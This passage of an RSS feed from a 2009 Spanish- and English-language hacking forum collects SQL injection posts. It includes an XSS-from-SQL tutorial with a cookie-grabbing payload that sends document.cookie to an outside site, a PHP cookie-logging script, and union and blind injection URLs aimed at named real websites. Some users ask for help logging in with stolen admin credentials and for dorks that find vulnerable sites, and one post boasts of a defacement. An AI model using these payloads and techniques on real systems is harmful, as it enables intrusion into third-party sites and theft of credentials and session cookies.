(normally yuo cans ee if hex_mode work with a load_file(pathinhex),
like load_file(0x2f6574632f706173737764) for /etc/password (&lt;= usually path)


we can see a lot of informations about the webserver configuration with:

&lt;? phpinfo(); ?&gt;

// SQL QUERY
&lt;? ... $result = mysql_query($_GET['query']); ... ?&gt;
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

REmember that the quotes are required and so if the error are like:

error db near '\/www/root/path/page.php'\
 maybe it's becouse the quotes are not allowed (with special filter used for anti-xss)

So at the end: try and try and try. iT's 3.47 of night.. @.@ , now a marocco's hackers deface r00t.h4cky0u.org uff... this fuking priv8 exploit in bad hands :)
so good night.


ByEzzz xaDoS

# milw0rm.com [2009-08-13]


</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Thu, 13 Aug 2009 17:59:15 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3767,3767#msg-3767</guid>
<title>XFS - XSS From SQL (2 replies)</title><link>https://foro.undersecurity.net/read.php?5,3767,3767#msg-3767</link><description><![CDATA[<pre class="bbcode">
XFS - XSS From SQL

Author : 599eme Man
Contact : flouf@live.fr

[------------------------------------------------------------------------]

[+] Summary

	[1] Presentation
	[2] Explanation
	[3] Demonstration
	[4] Bibliography


[------------------------------------------------------------------------]


[1] --[Presentation]--

	XFS is a SQL deviation who lets return javascript code by through of the function char().
This function convert an ASCII code to char, this why we'll use it to execute javascript code.
The XFS can give you a restricted XSS possibility and obviously the SQL vulnerabilty.


So for XFS we need :

 - String to ASCII converter
 - The function char()

In the next parties you will see the conditions for do it, how it work and demonstration.


[2] --[Explanation]--

	To use it, you need to convert your string in ASCII (Online Converter : http://www.easycalculation.com/ascii-hex.php).
Char() will read the ASCII code and return it, so if you insert the ASCII javascript code, char() will return you the 
javascript code and it will be executed BUT when you encode your javascript code, this code mustn't have any space, so the XSS is restricted
but you can grab, alert and a lot of other XSS thing.

Example :

If you want convert your javascript code to ASCII, for work, the javascript code mustn't to be like it :

&lt;script &gt; alert(document.cookie) &lt;/script&gt; &lt;= You need to delete space :

&lt;script&gt;alert(document.cookie)&lt;/script&gt; &lt;= Its okay, you can convert it in ASCII


When the code will be convert in ASCII, you will get a thing like it :

46 65 42 12 85 68 ...

But before put it in char(ASCII), we need to replace space by &quot;,&quot; like it :

46,65,42,12,85,68 ... &lt;= Its okay for put in char()


[3] --[Demonstration]--

	Vuln website :

 - http://landfill.elvinbts.org/show_activity.php?id=null+union+select+1,2,3,4,5,char(ASCII_CODE),7,8--

Some javascript codes without space :

Alert :

################################
#
#- String : &lt;SCRIPT&gt;alert('xss')&lt;/script&gt;
#
#- ASCII : 60 83 67 82 73 80 84 62 97 108 101 114 116 40 39 120 115 115 39 #41 60 47 115 99 114 105 112 116 62 
#
################################

Cookie Grabber :

################################
#
#- String : &lt;SCRIPT&gt;location.href='http://www.yoursite.com/cookie.php?#cookie='+escape(document.cookie)&lt;/SCRIPT&gt;
#
#- ASCII : 60 83 67 82 73 80 84 62 108 111 99 97 116 105 111 110 46 104 114 101 102 61 39 104 116 116 112 58 47 47 119 119 119 46 121 111 117 114 115 105 116 101 46 99 111 109 47 99 111 111 107 105 101 46 112 104 112 63 99 111 111 107 105 101 61 39 43 101 115 99 97 112 101 40 100 111 99 117 109 101 110 116 46 99 111 111 107 105 101 41 60 47 83 67 82 73 80 84 62 
#
################################

Cookie Grabber file :

################################
#

# &lt;?php
#
#
 $cookies = $_GET[&quot;cookie&quot;];
#
# if($cookies)

# {

#
# $grab = fopen(&quot;grab.txt&quot;,&quot;a&quot;);

# fputs($grab, $cookies . &quot;\r\n&quot;);

# fclose($grab);

#
# }

#
# ?&gt;
#
################################


So before insert your ASCII in char(), you must replace (in the ASCII code) all space by &quot;,&quot;.

Example :

################################
# 45 52 86 23 54 ...
# To :
# 45,52,86,23,54 ...
################################

So lets go :

Alert :

http://landfill.elvinbts.org/show_activity.php?id=null+union+select+1,2,3,4,5,char(60,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,39,41,60,47,115,99,114,105,112,116,62),7,8--

You can see a textbox is executed with the text : &quot;XSS&quot; =&gt; it's the XSS alert


[4] --[Bibliography]--

SQL tutorial :

SQL Injection Paper : http://milw0rm.com/papers/16 By Zeroday
Uncommon SQL Injection : http://milw0rm.com/papers/174 By N3T D3VIL
Full SQL Injection Tutorial (MySQL) : http://milw0rm.com/papers/202 by Marezzi
Introduction to SQL injection : http://milw0rm.com/papers/225 by Dapirates
Full SQL injection Tutorial : http://milw0rm.com/papers/349 By Moudi
Avoiding SQL Injection : http://milw0rm.com/papers/358 By Moudi


[------------------------------------------------------------------------]


[Thanks to] : Moudi, J.consultant, Sheiry, Pr0h4ck3rz, Stacker, Shimik Root aka Str0zen &amp; Security-Shell Community

# milw0rm.com [2009-08-04]


</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 08 Sep 2009 14:04:55 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3678,3678#msg-3678</guid>
<title>Advanced MySQL Exploitation from BlackHat 2009 (no replies)</title><link>https://foro.undersecurity.net/read.php?5,3678,3678#msg-3678</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/20591/screenshot_190_JR1yGz.png" class="bbcode" border="0" /><br /><img src="http://www.ubuntu-pics.de/bild/20593/screenshot_191_lbJN7j.png" class="bbcode" border="0" /><br /><br /><a href="http://www.blackhat.com/presentations/bh-usa-09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-PAPER.pdf" target="_blank" rel="nofollow" >Download Pdf </a><br /><a href="http://www.blackhat.com/presentations/bh-usa-09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-SLIDES.pdf" target="_blank" rel="nofollow" >Download Pdf Slide</a><br /><br /><pre class="bbcode">
Contents
1 Abstract............................................................................................................................................3
2 Introduction ....................................................................................................................................3
3 Stacked Query .................................................................................................................................3
4 Attacking MySQL on applications that do support stacked queries............................................... 4
5 Attacking MySQL on applications that do not support stacked queries........................................ 5
6 Fingerprinting the web server directory......................................................................................... 7
6.1 Fingerprint through error message method................................................................................ 7
6.2 Fingerprint through LOAD_FILE method......................................................................................7
7 Maximum size of arbitrary code allowed........................................................................................7
8 Arbitrary file compression/decompression ....................................................................................8
9 Dealing with columns......................................................................................................................8
10 Remote code execution on LAMP.................................................................................................9
11 Remote code execution on WAMP.............................................................................................10
References ........................................................................................................................................11</pre><br /><br /><hr class="bbcode"/>
ME gusto la parte de las Stacked Querys. Genial ¡<br /><br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Fri, 31 Jul 2009 15:35:07 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3670,3670#msg-3670</guid>
<title>Optimización de SQL Union Injection en MYSQL (4 replies)</title><link>https://foro.undersecurity.net/read.php?5,3670,3670#msg-3670</link><description><![CDATA[Optimización de SQL Union Injection en MYSQL<br /><br />Sin lugar a dudas, este es el tipo de inyección que mas fácil se puede obtener información, en un par de consultas se lograría obtener el nombre de usuario y contraseña del administrador del sistema o de algún usuario con privilegios.<br />Pero también consta de una etapa que es engorrosa, la obtención de tablas y sus correspondientes campos. Claramente en una base de datos Mysql Versión 5.x.<br />Gracias a la base de datos information_schema, podemos obtener las tablas y los campos de la base de datos.<br /><br />La sintaxis Común de la obtención de las tablas es la siguiente<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">SELECT</span><span class="sy0">+</span>table_name<span class="sy0">+</span><span class="kw1">FROM</span><span class="sy0">+</span>information_schema<span class="sy0">.</span><span class="kw1">TABLES</span><span class="sy0">+</span><span class="kw1">WHERE</span><span class="sy0">+</span>table_schema<span class="sy0">=</span><span class="kw1">DATABASE</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">+</span><span class="kw1">LIMIT</span><span class="sy0">+</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">1</span></pre><br />Con dicha consulta obtendríamos la primera tabla de la base de datos, luego aumentando el valor de limit podríamos obtener las demás tablas.<br /><br />Luego de encontrar la tabla que nosotros creemos que contendría la información de los usuarios, procedemos a obtener los campos de dicha tabla.<br /><br />Por ej. , Para obtener los campos de la tabla “usuarios”.<br /><br />Debemos transformar el nombre usuarios a su valor hexsql.<br /><br /><pre class="bbcode">
Usuario: 0×7573756172696F73</pre><br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">SELECT</span><span class="sy0">+</span>column_name<span class="sy0">+</span><span class="kw1">FROM</span><span class="sy0">+</span>information_schema<span class="sy0">.</span><span class="kw1">COLUMNS</span><span class="sy0">+</span><span class="kw1">WHERE</span><span class="sy0">+</span>table_name<span class="sy0">=</span>0x7573756172696F73<span class="sy0">+</span><span class="kw1">LIMIT</span><span class="sy0">+</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">1</span></pre><br /><br /><br /><br />Y así tendríamos los datos necesarios para poder generar la consulta final, hacia la base de datos.<br />Pero luego de hacerlo varias veces en distintas paginas, esta metodología resulta bastante agobiante,al tener que consultar cada tabla, cada campo por separado, es por ello que desarrolle una query que muestra la información que a nosotros nos interesa en 1 sola petición.<br /><br /><b>Ejemplo Consulta Final:</b><br /><br /><pre class="bbcode">
Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--</pre><br /><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/11.png" class="bbcode" border="0" /><br /><br /><b>Obtendríamos los valores de la siguiente manera.</b><br /><br /><i>Campo, Tabla.</i><br /><br />Analicemos a Fondo la Consulta.<br /><br /><b>Consulta que Obtiene las Columnas en Base a una Tabla.</b><br /><br /><pre class="bbcode">
=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--</pre><br /><br /><br /><b>Consulta Restricción:</b> Con Esta Consulta obtendremos la o las tablas que cumplan con la restricción impuesta por la expresión regular.<br /><br /><pre class="bbcode">
select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1</pre><br /><br /><br /><b>Expresión Regular.</b><br /><br /><pre class="bbcode">
REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A</pre><br /><br /><pre class="bbcode">
.*((us[ue]|log[io]n|adm)).*</pre><br /><br />Con esta Expresión podríamos obtener algunos de los nombres mas comunes de las tablas que contienen información relacionada con los usuarios como podría ser :<br /><br />* Usuario<br />* Username<br />* User<br />* Administrador<br />* Administrator<br />* Login<br />* Logon<br />* etc<br /><br /><b>Ejemplo Real:</b><br /><br /><a href="http://foro.undersecurity.net/read.php?47,3664,3669" target="_blank" rel="nofollow" >Fuente Vulnz</a><br /><br /><pre class="bbcode">
http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--</pre><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/21.png" class="bbcode" border="0" /><br /><br />Saludos a Todo el Staff de Undersecurity.net<br /><br />OzX [Undersecurity.net]<br /><br /><a href="http://undersecurity.net/sql-union-injection/optimizacion-de-sql-union-injection-en-mysql" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 04 Aug 2009 15:11:20 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3633,3633#msg-3633</guid>
<title>problemas con sql injection (6 replies)</title><link>https://foro.undersecurity.net/read.php?5,3633,3633#msg-3633</link><description><![CDATA[hola gente antes que nada queria felicitarlos por el sitio, la verdad es que tiene mucha informacion de grandisima utilidad, y en segundo lugar queria preguntarle acerca de un problema que me tiene atascado con el aprendizaje de sql injection, la question es que tengo varias webs vulnerables a sql injection, que mediante los respectivos ataques puedo sacar el admin y el pass, el inconveniente es que a la hora de loggearme me dice que los datos ingresados son incorrectos, intente haciendo un limit para sacar otros usuarios con sus pass pero a la hora de intentar ingresar tambien me tira el mismo error, cual puede ser mi error?]]></description>
<dc:creator>birdman</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Fri, 31 Jul 2009 02:08:06 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3456,3456#msg-3456</guid>
<title>como sacar informacion information_schema (7 replies)</title><link>https://foro.undersecurity.net/read.php?5,3456,3456#msg-3456</link><description><![CDATA[<span style="font-size:large">Buenos dias, iniciandome en estos temas he encontrado un sitio donde es vulnerable a injecion sql y pude sacar varia informacion, hasta el nombre de la base de datos y tambien la tabla information_schema, q segun lo que lei es la que tiene toda la informacion de la base.<br />El tema es que no puedo encontrar la forma de obtener los nombre de las tablas.<br />Alguien tiene algun ejemplo o forma de poder realizar las consultas a information_schema para obtener las tablas??<br />muchas gracias</span>]]></description>
<dc:creator>8rux5t0r3</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Thu, 23 Jul 2009 00:18:59 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3274,3274#msg-3274</guid>
<title>Dorks para buscar paginas vulnerables MYSQL (6 replies)</title><link>https://foro.undersecurity.net/read.php?5,3274,3274#msg-3274</link><description><![CDATA[Hi!<br /><br />Ando buscando paginas vulnerables a mysql , ya probe con allinurl:index.php?id= y noticias?id=<br />Pero quiero saber si alguien conoce otros dorks para mysql ???]]></description>
<dc:creator>Guason</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 14 Jul 2009 23:20:46 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3203,3203#msg-3203</guid>
<title>Busqueda Binaria Aplicada a las Blind SQL Injection (11 replies)</title><link>https://foro.undersecurity.net/read.php?5,3203,3203#msg-3203</link><description><![CDATA[Búsqueda Binaria Aplicada a las Blind SQL Injection<br />Antes de empezar me gustaría aclarar algunas cosas:<br /><br /><ol type="1"><li>No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.</li><li>Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.</li></ol><br /><b>Conceptos :</b><br /><br /><ul><li><a href="http://foro.undersecurity.net/index.php?43" target="_blank" rel="nofollow" >Seccion SQL Injection en Undersecurity</a></li><li><a href="http://es.wikipedia.org/wiki/ASCII" target="_blank" rel="nofollow" >¿Que es el Formato ASCII?</a></li></ul><b>Comandos en MYSQL :</b><br /><ul><li><a href="http://mysql.conclase.net/curso/index.php?fun=SUBSTRING" target="_blank" rel="nofollow" >MID</a></li><li><a href="http://mysql.conclase.net/curso/index.php?fun=ASCII" target="_blank" rel="nofollow" >ASCII</a></li></ul><b>Control De Flujos:</b><br /><ul><li><a href="http://mysql.conclase.net/curso/index.php?cap=010d" target="_blank" rel="nofollow" >CASE</a></li><li><a href="http://mysql.conclase.net/curso/index.php?fun=IF" target="_blank" rel="nofollow" >IF</a></li></ul><b>Información Blind SQL Injection</b><br /><ul><li><a href="http://foro.undersecurity.net/read.php?5,940" target="_blank" rel="nofollow" >Blind SQL Injection by Netting</a></li></ul><b>Información Búsqueda Binaria</b><br /><ul><li><a href="http://es.wikipedia.org/wiki/Algoritmo_de_b%C3%BAsqueda" target="_blank" rel="nofollow" >Busqueda Binaria</a></li><li><a href="http://es.wikipedia.org/wiki/%C3%81rbol_binario" target="_blank" rel="nofollow" >Arbol Binario</a></li></ul><br /><i>Ahora bien empecemos…</i><br />Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, <span style="color:#FF0000"><b>pero tiene 1 solo problema. Es necesario generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.</b></span><br /><br /><b>Por Ejemplo, Planteemos el Siguiente Escenario.</b><br /><br /><b>Tabla User</b><br /><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/1.png" class="bbcode" border="0" /><br /><br />Datos Contenidos en la tabla User:<br /><br /><ol type="1"><li>Usuario: Administrador</li><li>Password: Undersecurity</li></ol><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/2.png" class="bbcode" border="0" /><br /><br />Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología Común para explotar las Blind SQL Injection. (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).<br />Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.<br />Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es “A”, transformado al formato Ascii obtendría el valor de 65.<br /><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/3.png" class="bbcode" border="0" /><br /><br />En la Practica Tendríamos que Generar <b>33 Peticiones (65 – 32)</b> para Recién Obtener el Primer valor del usuario.<br />Y si nos ponemos bien extremistas, si el usuario se llamara zamorano, tendríamos que generar 90 peticiones para recién Obtener el Valor. Por lo que se hace bastante lento y tedioso este tipo de explotación.<br /><br /><b>Ahora viene la implementación de Búsqueda Binaria.</b><br /><br />La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo el rango en mitades.<br />Por Ejemplo : La clave que queremos encontrar es 9.<br /><br /><b>Tenemos el Siguiente String</b><br /><br /><br /><ol type="1"><li>arreglo =(1,2,3,4,5,6,7,8,9,10,11);</li></ol><br />Dividimos en 2 el String Obteniendo.<br /><br /><ol type="1"><li>Restricción = ( 1, 2, 3, 4, 5,6 ) false</li><li>Restricción = (6, 7, 8, 9, 10,11) true</li></ol><br />Si se fijan la cantidad de números dentro del arreglo, es impar, por lo que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.<br />Y Ahora ¿Cuál seria Nuestro String a Seguir?, <b>El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.</b><br /><br /><ol type="1"><li>Restricción = (6, 7,8) false</li><li>Restricción = (9, 10,11) true</li></ol>
<ol type="1"><li>Restricción = (9,10) true</li><li>Restricción = (10,11) false</li></ol>
<ol type="1"><li>Restricción = (9) true</li><li>Restricción = (10) false</li></ol><br />Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de 4 peticiones.<br />Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.<br />Ahora Aplicaremos los Valores de la <b>tabla Ascii desde el valor 32 hasta el 122.</b><br /><br /><ol type="1"><li>Arreglo : 32-122 [Space-z]</li><li>Restriccion_1: 32-72 [Space-M]</li><li>Restricción_2: 72-122 [M-z]</li></ol><br />Utilizáramos el Siguiente Consulta SQL.<br /><br /><b>Query Global:</b><br /><br /><pre class="bbcode">
+and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —</pre><br /><b>Explicación:</b><br /><br />Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.<br /><br /><b>Query : Restricción_1</b><br /><br /><pre class="bbcode">
     select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end</pre><br /><b>Explicacion :</b><br /><br />En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.<br /><br /><b>Ahora bien, un Simple Ejemplo :</b><br /><br /><b>Consulta :</b><br /><br /><pre class="bbcode">
 select+user()</pre><br /><b>Valor de user () :</b> Administrador@localhost.com<br /><br /><b>Valor a Obtener :</b> A<br /><br /><b>Valor ASCII</b> :65<br /><br /><b>* Parametros:</b><br /><br /><b>Arreglo</b>: 32-122 [Space-z]<br /><b>Restriccion_1:</b> 32-72 [Space-M]<br /><b>Restriccion_2:</b> 72-122 [M-z]<br /><br /><b>Consulta Completa :</b><br /><br /><pre class="bbcode">
http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--</pre><br /><b>Explicacion :</b><br /><br />Buscaremos el Primer valor de la consulta <i>“select user()”,</i> el cual es <b>A, (Ascii: 65),</b> primero consultaremos si el valor esta entre <b>32-122 [Space-z]</b>, si este resulta verdadero entonces retonara <b>TRUE</b> , o por el contrario si no esta dentro del rango <b>32-122</b> retornara <b>FALSE</b>.<br /><br />Si el valor retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara <b>TRUE</b>, por el contrario retonara <b>FALSE</b> y el valor estaria entre 72-122[M-z].<br /><br />En Esta Consulta Reducimos Nuestras alternativas de <b>90 a 45.</b><br /><br /><b>¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?</b><br /><br /><b><span style="color:#FF0000">* Si Pensaste en TRUE, estas en lo Correcto.</span></b><br /><br />Luego En la Segunda vuelta , el rango que se encuentre dentro del valor a buscar <b>(en este caso 32-77),</b> se convertirá en nuestro arreglo, y se dividirá en 2 <b>([32-54]-[55-77]),</b> así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.<br /><br /><b>Grafica :</b><br /><br /><a href="http://undersecurity.net/wp-content/uploads/2009/07/tablaA.png" target="_blank" rel="nofollow" >Full-Size</a><br /><i>(Solo Muestra el Rango desde 32-77)</i><br /><img src="http://undersecurity.net/wp-content/uploads/2009/07/tablaA-1024x229.png" class="bbcode" border="0" /><br /><br />Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter, en 7 peticiones.<br /><br /><b>Aclaro : Es un PoC en Php.</b><br /><br />Posteriormente dentro del Lab de Undersecurity.net Se desarrollara la Tool Completa.<br /><br /><b>Imagen :</b><br /><br /><img src="http://www.ubuntu-pics.de/bild/18023/screenshot_117_avd8Uq.png" class="bbcode" border="0" /><br /><br />Código del POC Llamado BlindD00l:<br /><br /><a href="http://lib.undersecurity.net/index.php?download=./Lab/BLIND00L_SOURCE.txt" target="_blank" rel="nofollow" ><b>Descargar Blind00l</b></a><br /><br /><ol type="1"><li>Testeado En Mysql 5.x</li><li>Curl Activado</li></ol>
<b>Gracias a toda la Comunidad Undersecurity.net</b><br /><ol type="1"><li>Cic4tr1z : logística Infinita</li><li>Nork : Correcciones y Apoyo en ideas extravagantes.</li><li>1995: Apoyo Incondicional.</li><li>N0b0dy :Notable y leal animo a la comunidad.</li><li>Lix : Por ser Simplemente Lix.</li><li>y A muchos mas que quedaron en el camino.</li></ol>
#OzX [Undersecurity.net]<br /><br /><a href="http://undersecurity.net/blind-sql-injection/busqueda-binaria-aplicada-a-las-blind-sql-injection" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 21 Jul 2009 13:36:26 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,2061,2061#msg-2061</guid>
<title>Guía Rapida de Inyecciones en MySql (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,2061,2061#msg-2061</link><description><![CDATA[Bueno mirando por ahi, me encontre un guía muy completa y exelentemente bien explicada, sobre inyecciones en mysql, explican desde:<br /><br />&gt;&gt; Inyecciones ciegas<br />&gt;&gt; Funciones interesantes que muestran informacion util en mysql (@@version, user(), ...)<br />&gt;&gt; Saltar protección &quot;magic_quotes_gpc&quot;<br />&gt;&gt; Como Averiguar la rutas completas donde se encuentran los documentos web (asp, php, jsp,..) // util para inser int outfile/dumpfile por ejemplo<br />&gt;&gt; Leer ficheros del sistema por medio de inyecciones Mysql (load_file)<br />&gt;&gt; Como buscar en google de manera minuciosa<br />&gt;&gt; Consejos típicos para evitar inyecciones Sql:<br /><br />y abordan preguntas como:<br /><br />&gt;&gt; ¿Puede influir el uso de mayúsculas o minúsculas en las inyecciones?<br />&gt;&gt; ¿Cuales son las inyecciones más peligrosas?<br />&gt;&gt;¿Como averiguar los privilegios del usuario de la bd que estamos inyectando?<br />&gt;&gt; ¿Qué hacer cuando la inyección solo muestra una linea? (uso de limit)<br /><br />Yo la encontre mas que interesante, ademas puede servir como referencia para el nuevo proyecto enfocado a iniciados que se esta realizando en el foro ...<br /><br />Aca el : <a href="http://www.busindre.com/guia-rapida-de-inyecciones-en-bases-de-datos-mysql/" target="_blank" rel="nofollow" >LINK</a><br /><br />Saludos]]></description>
<dc:creator>S[e]C</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Wed, 03 Jun 2009 11:43:50 -0400</pubDate></item>
</channel>
</rss>